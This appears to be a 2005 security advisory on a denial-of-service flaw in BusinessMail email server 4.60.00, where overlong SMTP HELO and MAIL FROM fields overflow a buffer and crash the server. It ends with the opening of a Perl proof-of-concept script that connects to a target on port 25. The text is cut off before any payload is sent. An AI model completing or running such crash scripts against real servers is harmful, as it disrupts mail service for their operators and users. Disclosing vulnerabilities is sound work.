DoS in BusinessMail Email Server System (HELO, MAIL FROM)
1 Aug. 2005
Summary
"BusinessMail is a powerful and yet easy to configure mail server that has been designed from its initial concept as a full Windows 32bit, multi-threaded system that will provide the power and flexibility of mail handling that is required by most business network environments."
Lack of proper length validation of two fields allows attackers to crash BusinessMail email server system.
Vulnerable Systems:
* BusinessMail email server system 4.60.00
The Input of the SMTP HELO and MAIL FROM: fields are not properly checked, and allow attackers to cause buffer overflow when issuing a long data for the HELO and MAIL FROM: fields, causing the process to crash.
if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "25",
Proto => "TCP"))
{
print "Attempting to kill BusinessMail SMTP server at $ARGV[0]:25...\n";